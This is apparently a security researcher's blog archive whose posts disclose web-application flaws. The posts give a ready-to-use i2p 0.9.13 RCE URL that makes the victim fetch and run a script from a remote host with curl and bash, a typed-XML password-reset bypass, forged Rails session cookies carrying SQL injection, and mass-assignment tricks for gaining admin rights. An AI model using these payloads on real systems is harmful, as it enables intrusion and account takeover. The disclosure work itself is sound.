Sat Oct 11 17:03:28 UTC 2014
TL;DR: Just another way to get RCE in i2p version 0.9.13.
Inspired by this blogpost I decided to take a quick look at i2p myself (details on the vulnerability were not given at this point in time).
After messing a bit with the routerconsole I figured that the "refresh" parameter of the page "summaryframe.jsp" ends up in the configuration of i2p. So let's just track down this behavior:The relevant part of "summaryframe.jsp"'s source code goes like this:
String d = request.getParameter("refresh"); // Normal browsers send value, IE sends button label boolean allowIFrame = intl.allowIFrame(request.getHeader("User-Agent")); boolean shutdownSoon = (!allowIFrame) || "shutdownImmediate".equals(action) || "restartImmediate".equals(action) || "Shutdown immediately".equals(action) || "Restart immediately".equals(action); if (!shutdownSoon) { if (d == null || "".equals(d)) { d = intl.getRefresh(); } else { d = net.i2p.data.DataHelper.stripHTML(d); // XSS intl.setRefresh(d); intl.setDisableRefresh(d); }
The "setRefresh" method just saves the user-provided refresh interval to the config:
public void setRefresh(String r) { try { if (Integer.parseInt(r) < MIN_REFRESH) r = "" + MIN_REFRESH; } catch (Exception e) { } _context.router().saveConfig(PROP_REFRESH, r); }
The "saveConfig" method invokes some sanitization defined within the "storeProps" method shown below:
public static void storeProps(Properties props, File file) throws IOException { PrintWriter out = null; IllegalArgumentException iae = null; try { out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(new SecureFileOutputStream(file), "UTF-8"))); out.println("# NOTE: This I2P config file must use UTF-8 encoding"); for (Map.Entry<Object, Object> entry : props.entrySet()) { String name = (String) entry.getKey(); String val = (String) entry.getValue(); if (name.contains("#") || name.contains("=") || name.contains("\n") || name.startsWith(";") || val.contains("#") || val.contains("\n")) { if (iae == null) iae = new IllegalArgumentException("Invalid character (one of \"#;=\\n\") in key or value: \"" + name + "\" = \"" + val + '\"'); continue; } out.println(name + "=" + val); } } finally { if (out != null) out.close(); } if (iae != null) throw iae; }
We can see that we cannot inject the "#" nor a newline (0x0a) within configuration values. However the i2p authors forgot to include a carriage return (0x0d) which also would introduce an new configuration line within the given value. Due to this fact we can inject arbitrary configuration lines into the i2p configuration file. Luckily the i2p classes also define an "ExecNamingService" which is configurable via the said configuration:
/** * An interface to an external naming service program, with in-memory caching. * This can be used as a simple and flexible way to experiment with * alternative naming systems. * * The external command takes a hostname argument and must return (only) the * 516-byte Base64 destination, or hostname=dest, on stdout. * A trailing \n or \r\n is acceptable. * The command must exit 0 on success. Nonzero on failure is optional. * * The external command can do local and/or remote (via i2p or not) lookups. * No timeouts are implemented here - the author of the external program * must ensure that the program returns in a reasonable amount of time - * (15 sec max suggested) * * Can be used from MetaNamingService, (e.g. after HostsTxtNamingService), * or as the sole naming service. * Supports caching, b32, and b64. * * Sample chained config to put in configadvanced.jsp (restart required): * * i2p.naming.impl=net.i2p.client.naming.MetaNamingService * i2p.nameservicelist=net.i2p.client.naming.HostsTxtNamingService,net.i2p.client.naming.ExecNamingService * i2p.naming.exec.command=/usr/local/bin/i2presolve * * Sample unchained config to put in configadvanced.jsp (restart required): * * i2p.naming.impl=net.i2p.client.naming.ExecNamingService * i2p.naming.exec.command=/usr/local/bin/i2presolve * */ [...] private static final int MAX_RESPONSE = DEST_SIZE + 68 + 10; // allow for hostname= and some trailing stuff private String fetchAddr(String hostname) { String[] commandArr = new String[3]; commandArr[0] = _context.getProperty(PROP_SHELL_CMD, DEFAULT_SHELL_CMD); commandArr[1] = "-c"; String command = _context.getProperty(PROP_EXEC_CMD, DEFAULT_EXEC_CMD) + " " + hostname; commandArr[2] = command; try { Process get = Runtime.getRuntime().exec(commandArr);
As we can see above, the "ExecNamingService" takes an command(line) and executes it in order to resolve names. By now we have enough to put this together for a Remote Command Execution exploit. The following URL, for instance served as an IFrame, would get a shell script from "http://some.host/somescript" and execute it afterwards:
http://127.0.0.1:7657/summaryframe?refresh=1337%0Di2p.naming.exec.command=/usr/bin/curl%20http://some.host/somescript%20-o%20/tmp/loli2p%3bbash%20/tmp/loli2p%0di2p.naming.impl=net.i2p.client.naming.ExecNamingService
It has to be noted that for the configuration change to actually trigger, i2p needs to be restarted. In the vulnerable version of i2p that is easily achievable via the numerous XSS vectors. Or you'll just have to wait until the victim restarts i2p manually.
This attack vector has been patched in i2p version 0.9.14.
Tue Sep 24 16:06:34 UTC 2013
Ruby on Rails Default Token Database
As the topic of putting secrets in Open Source code repositories is still an issue for quite some Ruby on Rails projects, today the Ruby on Rails Default Token Database is being made available.
The usage is simple: just paste a Ruby on Rails session cookie (just the value, not the name) into the textbox and click submit. The output should be either that the signing token is known somewhere in the Internet, or not.
Parts of the underlying database are powered by WiK's awesome gitdigger project.
Recommended further reading:
Tue Feb 5 15:06:48 UTC 2013
MySQL madness and Rails
A pretty common technique for password resets in web applications is to send out a token via email to the user. This token lets the user reset the password right away.
In Ruby on Rails such a reset process would roughly look like this:
# PasswordController def reset user = User.find_by_token(params[:user][:token]) if user #reset password here end endSuch a token like the one pulled out of params in the code above typically is a random string, for now let's just assume this string is "IAmARandomToken".
Go home MySQL, you are drunk!
[FX edit: MySQL should train drinking with Phenoelit]
Next step: Let's look at MySQL and how it magically typecasts:
mysql> SELECT 123 FROM dual WHERE 1=1; +-----+ | 123 | +-----+ | 123 | +-----+ 1 row in set (0.00 sec) mysql> SELECT 123 FROM dual WHERE 1="1"; +-----+ | 123 | +-----+ | 123 | +-----+ 1 row in set (0.00 sec) mysql> SELECT 123 FROM dual WHERE 1="1somestring"; +-----+ | 123 | +-----+ | 123 | +-----+ 1 row in set, 1 warning (0.00 sec) mysql> SELECT 123 FROM dual WHERE 1="somestring"; Empty set, 1 warning (0.00 sec) mysql> SELECT 123 FROM dual WHERE 0="somestring"; +-----+ | 123 | +-----+ | 123 | +-----+ 1 row in set, 1 warning (0.00 sec)
Application of this:
Main point is here that there is some severe magic in how strings and integers are compared. Now let's use this typecasting to find(_by_token) some users. Since CVE-2013-0156 a lot of people have become aware of typed XML in Ruby on Rails. Typed XML basically let's you give an XML node a type like "boolean" or "integer" with the "type" attribute in the XML node. Rails then will magically typecast those attributes for you.
Exploiting the above password reset mechanism becomes straight forward using typed XML; we would just POST something like:
POST /user/password/reset [...] Content-Type: text/xml <user><token type="integer">0</token>[...]</user>In this example now the integer "0" would match the string "IAmARandomToken" on the MySQL backend, and we're in =)
This technique however does not work on Postgres or SQLite. Exploitation of this issue via JSON is also possible as JSON as well can encode integers.
Further Reading
Here are some other applications of MySQL typecasting
BTW:
I disclosed this flaw to the RoR security team, but this issue wont be fixed for now :-/.
Fri Dec 21 16:02:48 UTC 2012
Let Me Github That For You
Ruby on Rails (RoR) is atm my favorite piece of software to hunt bugs at. After quite some time spending on looking at Rails apps I figured that I oversaw the most easy way to attack an (Open Source) Rails app for quite a while. Before I come to my main point we'll have to look at both RoR sessions and authentication systems:
Ruby on Rails Sessions
RoR sessions are by default stored client-side in a cookie. In order to be tamper resistant, this cookie is signed with an SHA-1 HMAC. When the HMAC is missing or the cookie being tampered with RoR will refuse to use the session variables within the cookie.
So, let's look at such a cookie, as an example I'll use a Github session cookie:
_gh_sess=BAh7BzoQX2NzcmZfdG9rZW4iMStDQWNRZ1l4VlZPb3ZPM3FBYXZWZGtsYzF2NUVENkdaRnhEK1A0QmNqU1k9Og9zZXNzaW9uX2lkIiUwMTg4M2VjNzNkOTE3YTM5MzliN2Q2ZWUyNDc1ODJlMA%3D%3D--101900b7c006dee701987683bca2de06399d1305This cookie consists of a Base64 blog and the HMAC, both separated by "--". When decoding the Base64 you'll get a marshaled Ruby Object, namely the session hash which is accessible in the web application via session[:some_session_var]. The decoded and de-marshaled Github cookie looks like this:
{:_csrf_token=>"+CAcQgYxVVOovO3qAavVdklc1v5ED6GZFxD+P4BcjSY=", :session_id=>"01883ec73d917a3939b7d6ee247582e0"}So in this case for instance the _csrf_token would be accessible via session[:_csrf_token] from within Githubs' RoR code.
Ruby on Rails Authentication Frameworks
While reading some OSS RoR applications I mainly came across this three authentication mechanisms for RoR:
Where authenticated_system is the simplest mechanism, which will just put a field "user_id" inside the session, by this ID then authenticated_system will pull the user with that ID out of the database as the currently logged in user.Both authlogic and devise/warden handle it a bit different, they will use a certain random token which is stored within the database in order to identify the current user.
The fun stuff ;)
When a RoR application is created the secret which goes into the HMAC will be created along with all the other files a minimal RoR application would need. This secret usually is a 64 byte long random string and lives in $railsapp/config/initializers/secret_token.rb. The simple problem is, that most developers are simply not aware of the confidentiality of this file, and in result they'll happly check it into Github or other online repositories (This guy already figured that a while ago ).
When using authenticated_system it's pretty obvious how to break into such an application:
- Observe the secret_token on Github
- Create a cookie containing "user_id=>1"
- ???
- Profit! (as in: be any user)
Well that was easy, let's look at authlogic now.
An authlogic cookie usually uses a database stored token to
identify the user. The relevant parts of the session cookie
are:
- user_credentials_id - a numeric value which is used with "User.find_by_id()"
- user_credentials - a radom string which will be compared with the database field "persistence_token" in the Users table
> User.find_by_id({:select =>"* from users limit 1 --"}) User Load (0.5ms) SELECT * from users limit 1 -- FROM "users" WHERE "users"."id" IS NULL LIMIT 1 => #<User id: 1, [... all the fun stuff]By knowing this behaviour we can now easily circumvent the authlogic protection with the knowledge of the "secret_token".
The following cookie would give you access to an authlogic protected application:
{ "session_id" => "41414141", "user_credentials"=>"Phenoelit", "user_credentials_id"=>{ :select=> " *,\"Phenoelit\" as persistence_token from Users -- " } }
Last man standing would then be devise/warden, which works similar to authlogic but is not exploitable in that way described above.
Finally
If you checkin stuff to the internet, think at least twice about it.If you'd like to mess around with RoR cookies, have a look here and here TL;DR: Click here to mass 0wn Ruby on Rails webapps ;)
Thu Apr 5 15:25:15 UTC 2012
A worst practice in Ruby on Rails
A pretty common coding pattern in Ruby on Rails is the following:
app/controller/users_controller.rb: def update @user = User.find(params[:id]) params[:user].delete(:admin) # make sure to protect admin flag respond_to do |format| if @user.update_attributes(params[:user]) [...]One would assume here that params[:user].delete(:admin) would not allow the admin flag to be assigned.
This is a bad coding practice I've seen in various RoR apps in the wild. Instead attr_protected / attr_accessible should be used.
So, how would you exploit this controller to assign the admin flag despite is being deleted?
Trick 1: Mass assignment magic to the help
Observe the following Ruyb on Rails code:
rails/activerecord/lib/active_record/attribute_assignment.rb: 01 def assign_attributes(new_attributes, options = {}) 02 return unless new_attributes 03 04 attributes = new_attributes.stringify_keys 05 multi_parameter_attributes = [] 06 nested_parameter_attributes = [] 07 @mass_assignment_options = options 08 09 unless options[:without_protection] 10 attributes = sanitize_for_mass_assignment(attributes, mass_assignment_role) 11 end 12 13 attributes.each do |k, v| 14 if k.include?("(") 15 multi_parameter_attributes << [ k, v ] 16 elsif respond_to?("#{k}=") 17 if v.is_a?(Hash) 18 nested_parameter_attributes << [ k, v ] 19 else 20 send("#{k}=", v) 21 end 22 else 23 raise(UnknownAttributeError, "unknown attribute: #{k}") 24 end 25 end 26 27 # assign any deferred nested attributes after the base attributes have been set 28 nested_parameter_attributes.each do |k,v| 29 send("#{k}=", v) 30 end 31 32 @mass_assignment_options = nil 33 assign_multiparameter_attributes(multi_parameter_attributes) 34 endSo if the model does not use the build in mass assignment protection (attr_protected/attr_accessible),
the code flow would allow to call any public method ending in "=". In line 16 the code checks for a public
mehtod for each attribute key. Subsequently in line 29 it calls the method with the value Hash of the key as argument.
How does this help us?
See further in the same piece of ActiveRecord code:
def attributes=(new_attributes) return unless new_attributes.is_a?(Hash) assign_attributes(new_attributes) end
\o/ attributes= ends in =, and is callable via assign_attributes. So if we give the admin attribute like:
user[attributes][admin]=1 it won't be deleted by params[:user].delete(:admin) due to being params[:user][:attributes]
This issue is briefly described (without elaborating how to exploit this) here
Trick 2: Multiparameter attributes
Another way to circumvent the above deletion of the admin flag would be so called "multiparameter attributes". Those work as follows:If you want to give multiple parameters to one attribute it's encoded in Ruby on Rails like:
user[name(1)]=first_name&user[name(2)]=last_name
So here the parameter "name" gets two attributes "first_name" and "last_name".
Now we can do the following to exploit the above controller:
user[admin(1)]=true
Here we give only one parameter as a multiparameter which is completely legal, as the parameter is now "admin(1)" the user.delete(:admin) statement won't catch it. :)
Credit: @meder came up with this 2nd approach on the <spam>RailsFun mailinglist</spam>
Sun Feb 12 21:55:28 UTC 2012
On Goats and their Daddy
Once upon a time, a small bunch of alchemists needed to rescue their knowledge from the hands of bureaucrats, who wanted to make possession, distribution and even research of such knowledge illegal, simply because they could not understand it.
In this difficult situation, they found a good soul in a country far far away, who would take care of their writings and material. So the alchemists thought that their papers, parchment (for some of the writings were really old) and simple tools were safe now. The good soul placed the goods at a library in his own country and hereby made them available to everyone once more. Every year, he payed the library to keep the material in good order, although some times the shelves would be crawling with vermin and people would get infected with diseases from visiting the library.
After almost four years, the library's owners realized that the shelve with the name of the alchemists was much frequented, and they thought it would be clever to sell this shelve space with the name on it to charlatans, because then these could place their crap on it and the visitor would think it was the work of the alchemists. And so, at Christmas Day, they removed the original works from the shelve and claimed them to be blasphemy and devil's handiwork.
The alchemists now had to take old copies of their works and find a new place to make them available. This time, they decided to take better care of matters themselves and found a new home, where everything was again freely available, without greedy owners.
Soon it became known that the library owners only wanted to make money to pay for their addiction, which was one of sodomy and zoophilia, centering around goats. From this day on, the greedy library owners where known as GoatDaddy.